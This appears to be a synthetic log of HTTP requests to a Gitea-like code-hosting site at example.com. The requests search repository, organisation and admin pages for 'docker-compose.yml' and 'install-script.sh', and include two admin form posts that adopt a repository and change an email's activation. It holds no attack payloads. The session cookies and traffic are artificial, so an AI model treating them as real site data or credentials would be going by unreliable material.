{"method": "GET", "target": "/alice/tools/tags?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 63", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=docker-compose.yml&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 108", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=docker-compose.yml&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=install-script.sh&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=install-script.sh&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=install-script.sh&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=install-script.sh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
